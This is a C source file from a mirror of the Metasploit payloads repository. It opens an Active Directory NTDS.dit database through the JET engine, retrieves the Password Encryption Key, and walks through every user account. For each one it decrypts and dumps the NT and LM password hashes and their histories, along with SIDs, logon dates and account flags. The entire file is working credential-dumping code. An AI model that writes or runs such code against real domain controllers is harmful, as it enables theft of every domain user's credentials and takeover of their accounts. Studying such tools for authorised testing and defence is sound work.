mirror of
https://github.com/rapid7/metasploit-payloads
synced 2025-03-12 12:14:29 +01:00
2769d986fe
all of the poc libs are migrated in, compiler warnings are blocking compile at this moment
306 lines
13 KiB
C
Executable File
306 lines
13 KiB
C
Executable File
#include "precomp.h"
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JET_ERR engine_shutdown(jetState *ntdsState){
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JET_ERR shutdownStatus;
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shutdownStatus = JetCloseDatabase(ntdsState->jetSession, ntdsState->jetDatabase, (JET_GRBIT)NULL);
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if (shutdownStatus != JET_errSuccess){
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return shutdownStatus;
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}
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shutdownStatus = JetDetachDatabase(ntdsState->jetSession, ntdsState->ntdsPath);
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if (shutdownStatus != JET_errSuccess){
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return shutdownStatus;
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}
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shutdownStatus = JetEndSession(ntdsState->jetSession, (JET_GRBIT)NULL);
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if (shutdownStatus != JET_errSuccess){
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return shutdownStatus;
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}
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shutdownStatus = JetTerm(ntdsState->jetEngine);
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return shutdownStatus;
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}
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JET_ERR engine_startup(jetState *ntdsState){
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JET_ERR jetError;
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// Set the Page Size to the highest possibile limit
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jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramDatabasePageSize, 8192, NULL);
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if (jetError != JET_errSuccess){
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return jetError;
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}
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// Create our Jet Instance
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jetError = JetCreateInstance(&ntdsState->jetEngine, "NTDS");
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if (jetError != JET_errSuccess){
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return jetError;
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}
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// Disable crash recovery and transaction logs
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jetError = JetSetSystemParameter(&ntdsState->jetEngine, JET_sesidNil, JET_paramRecovery, (JET_API_PTR)NULL, "Off");
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if (jetError != JET_errSuccess){
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return jetError;
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}
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// Initialise the Jet instance
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jetError = JetInit(&ntdsState->jetEngine);
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if (jetError != JET_errSuccess){
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return jetError;
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}
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return JET_errSuccess;
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}
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JET_ERR get_column_info(jetState *ntdsState, ntdsColumns *accountColumns){
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JET_ERR columnError;
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const char attributeNames[][25] = {
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"ATTm590045",
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"ATTj590126",
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"ATTq589983",
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"ATTk590689",
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"ATTq589876",
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"ATTk589879",
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"ATTk589984",
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"ATTj589993",
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"ATTk589914",
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"ATTk589918",
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"ATTm13",
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"ATTj589832",
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"ATTq589920",
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"ATTr589970"
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};
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JET_COLUMNDEF *columnDefs[] = {
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&accountColumns->accountName,
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&accountColumns->accountType,
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&accountColumns->accountExpiry,
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&accountColumns->encryptionKey,
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&accountColumns->lastLogon,
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&accountColumns->lmHash,
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&accountColumns->lmHistory,
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&accountColumns->logonCount,
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&accountColumns->ntHash,
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&accountColumns->ntHistory,
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&accountColumns->accountDescription,
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&accountColumns->accountControl,
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&accountColumns->lastPasswordChange,
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&accountColumns->accountSID,
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};
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for (int i = 0; i < 14; i++){
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columnError = JetGetTableColumnInfo(ntdsState->jetSession, ntdsState->jetTable, attributeNames[i], columnDefs[i], sizeof(JET_COLUMNDEF), JET_ColInfo);
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if (columnError != JET_errSuccess){
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return columnError;
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}
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}
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return JET_errSuccess;
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}
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JET_ERR get_PEK(jetState *ntdsState, ntdsColumns *accountColumns, encryptedPEK *pekEncrypted){
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JET_ERR cursorStatus;
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JET_ERR readStatus;
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unsigned char *encryptionKey[76];
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cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
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if (cursorStatus != JET_errSuccess){
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return cursorStatus;
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}
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do{
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//Attempt to retrieve the Password Encryption Key
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unsigned long columnSize = 0;
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->encryptionKey.columnid, encryptionKey, 76, &columnSize, 0, NULL);
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if (readStatus == JET_errSuccess){
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memcpy(pekEncrypted, &encryptionKey, 76);
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puts("Found the Password Encryption Key");
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return readStatus;
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}
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cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
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} while (cursorStatus == JET_errSuccess);
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return readStatus;
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}
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JET_ERR open_database(jetState *ntdsState){
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JET_ERR attachStatus = JetAttachDatabase(ntdsState->jetSession, ntdsState->ntdsPath, JET_bitDbReadOnly);
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if (attachStatus != JET_errSuccess){
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return attachStatus;
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}
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JET_ERR openStatus = JetOpenDatabase(ntdsState->jetSession, ntdsState->ntdsPath, NULL, &ntdsState->jetDatabase, JET_bitDbReadOnly);
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if (openStatus != JET_errSuccess){
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return openStatus;
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}
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return JET_errSuccess;
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}
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JET_ERR read_table(jetState *ntdsState, ntdsColumns *accountColumns, decryptedPEK *pekDecrypted){
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JET_ERR cursorStatus;
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JET_ERR readStatus;
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cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveFirst, (JET_GRBIT)NULL);
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if (cursorStatus != JET_errSuccess){
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return cursorStatus;
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}
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do{
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// Create a User Account Struct to hold our data
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ntdsAccount *userAccount = malloc(sizeof(ntdsAccount));
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memset(userAccount, 0, sizeof(ntdsAccount));
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//Define our temp values here
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DWORD accountType = 0;
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FILETIME accountExpiry;
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SYSTEMTIME accountExpiry2;
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FILETIME lastLogon;
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SYSTEMTIME lastLogon2;
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FILETIME lastPass;
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SYSTEMTIME lastPass2;
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DWORD accountControl = 0;
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unsigned long columnSize = 0;
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encryptedHash *encryptedLM = malloc(sizeof(encryptedHash));
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encryptedHash *encryptedNT = malloc(sizeof(encryptedHash));
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memset(encryptedLM, 0, sizeof(encryptedHash));
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memset(encryptedNT, 0, sizeof(encryptedHash));
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//Retrieve the account type for this row
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountType.columnid, &accountType, sizeof(accountType), &columnSize, 0, NULL);
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// Unless this is a User Account, then we skip it
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if (readStatus == JET_wrnColumnNull || accountType != 0x30000000){
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cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
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continue;
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}
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// If any other error has occured we've screwed up and need to fix it for now
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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// Grab the SID here
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountSID.columnid, &userAccount->accountSID, sizeof(userAccount->accountName), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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// Derive the RID from the SID
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int ridIndex = columnSize - sizeof(DWORD);
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DWORD *ridLoc = (DWORD *)&userAccount->accountSID[ridIndex];
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userAccount->accountRID = htonl(*ridLoc);
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// Grab the samAccountName here
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountName.columnid, &userAccount->accountName, sizeof(userAccount->accountName), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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// Grab the account expiration date/time here
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountExpiry.columnid, &accountExpiry, sizeof(accountExpiry), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
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FileTimeToSystemTime(&accountExpiry, &accountExpiry2);
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int dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &accountExpiry2, NULL, userAccount->expiryDate, 255);
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// Getting Human Readable will fail if account never expires. Just set the expiryDate string to 'never'
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if (dateResult == 0){
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strncpy(userAccount->expiryDate, "Never", 6);
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}
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// Grab the last logon date and time
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastLogon.columnid, &lastLogon, sizeof(lastLogon), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
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FileTimeToSystemTime(&lastLogon, &lastLogon2);
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dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastLogon2, NULL, userAccount->logonDate, 255);
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// Getting Human Readable will fail if account has never logged in, much like the expiry date
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if (dateResult == 0){
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strncpy(userAccount->logonDate, "Never", 6);
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}
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dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastLogon2, NULL, userAccount->logonTime, 255);
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if (dateResult == 0){
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strncpy(userAccount->logonTime, "Never", 6);
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}
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// Grab the last password change date and time
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lastPasswordChange.columnid, &lastPass, sizeof(lastPass), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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//Convert the FILETIME to a SYSTEMTIME so we can get a human readable date
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FileTimeToSystemTime(&lastPass, &lastPass2);
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dateResult = GetDateFormat(LOCALE_SYSTEM_DEFAULT, DATE_LONGDATE, &lastPass2, NULL, userAccount->passChangeDate, 255);
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// Getting Human Readable will fail if account has never logged in, much like the expiry date
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if (dateResult == 0){
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strncpy(userAccount->passChangeDate, "Never", 6);
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}
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dateResult = GetTimeFormat(LOCALE_SYSTEM_DEFAULT, 0, &lastPass2, NULL, userAccount->passChangeTime, 255);
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if (dateResult == 0){
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strncpy(userAccount->passChangeTime, "Never", 6);
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}
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// Grab the Account Description here
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountDescription.columnid, &userAccount->accountDescription, sizeof(userAccount->accountDescription), &columnSize, 0, NULL);
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if (readStatus == JET_wrnColumnNull){
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memset(userAccount->accountDescription, 0, sizeof(userAccount->accountDescription));
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}
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else if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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// Grab the UserAccountControl flags here
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->accountControl.columnid, &accountControl, sizeof(accountControl), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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if (accountControl & NTDS_ACCOUNT_DISABLED){
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userAccount->accountDisabled = TRUE;
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}
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if (accountControl & NTDS_ACCOUNT_LOCKED){
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userAccount->accountLocked = TRUE;
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}
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if (accountControl & NTDS_ACCOUNT_NO_PASS){
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userAccount->noPassword = TRUE;
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}
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if (accountControl & NTDS_ACCOUNT_PASS_EXPIRED){
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userAccount->passExpired = TRUE;
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}
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if (accountControl & NTDS_ACCOUNT_PASS_NO_EXPIRE){
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userAccount->passNoExpire = TRUE;
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}
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// Grab the Logon Count here
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->logonCount.columnid, &userAccount->logonCount, sizeof(userAccount->logonCount), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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exit(readStatus);
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}
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// Grab the NT Hash
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHash.columnid, encryptedNT, sizeof(encryptedHash), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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if (readStatus == JET_wrnColumnNull){
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memcpy(&userAccount->ntHash, &BLANK_NT_HASH, 32);
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}
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else{
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exit(readStatus);
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}
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}
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else{
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decrypt_hash(encryptedNT, pekDecrypted, userAccount->ntHash, userAccount->accountRID);
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}
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// Grab the LM Hash
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHash.columnid, encryptedLM, sizeof(encryptedHash), &columnSize, 0, NULL);
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if (readStatus != JET_errSuccess){
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if (readStatus == JET_wrnColumnNull){
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memcpy(&userAccount->lmHash, &BLANK_LM_HASH, 32);
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}
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else{
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exit(readStatus);
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}
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}
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else{
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decrypt_hash(encryptedLM, pekDecrypted, userAccount->lmHash, userAccount->accountRID);
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}
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// Grab the NT Hash History
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, NULL, 0, &columnSize, 0, NULL);
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if (readStatus == JET_wrnBufferTruncated){
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LPBYTE encNTHist = (LPBYTE)malloc(columnSize);
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->ntHistory.columnid, encNTHist, columnSize, &columnSize, 0, NULL);
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decrypt_hash_history(encNTHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->ntHistory, &userAccount->numNTHistory);
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// If there's no NT history, there's no LM history
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// Grab the LM History
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, NULL, 0, &columnSize, 0, NULL);
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if (readStatus == JET_wrnBufferTruncated){
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LPBYTE encLMHist = (LPBYTE)malloc(columnSize);
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readStatus = JetRetrieveColumn(ntdsState->jetSession, ntdsState->jetTable, accountColumns->lmHistory.columnid, encLMHist, columnSize, &columnSize, 0, NULL);
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decrypt_hash_history(encLMHist, columnSize, pekDecrypted, userAccount->accountRID, &userAccount->lmHistory, &userAccount->numLMHistory);
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}
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else {
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return readStatus;
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}
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}
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dump_account(userAccount);
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cursorStatus = JetMove(ntdsState->jetSession, ntdsState->jetTable, JET_MoveNext, (JET_GRBIT)NULL);
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} while (cursorStatus == JET_errSuccess);
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if (cursorStatus != JET_errNoCurrentRecord){
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return cursorStatus;
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}
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return JET_errSuccess;
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} |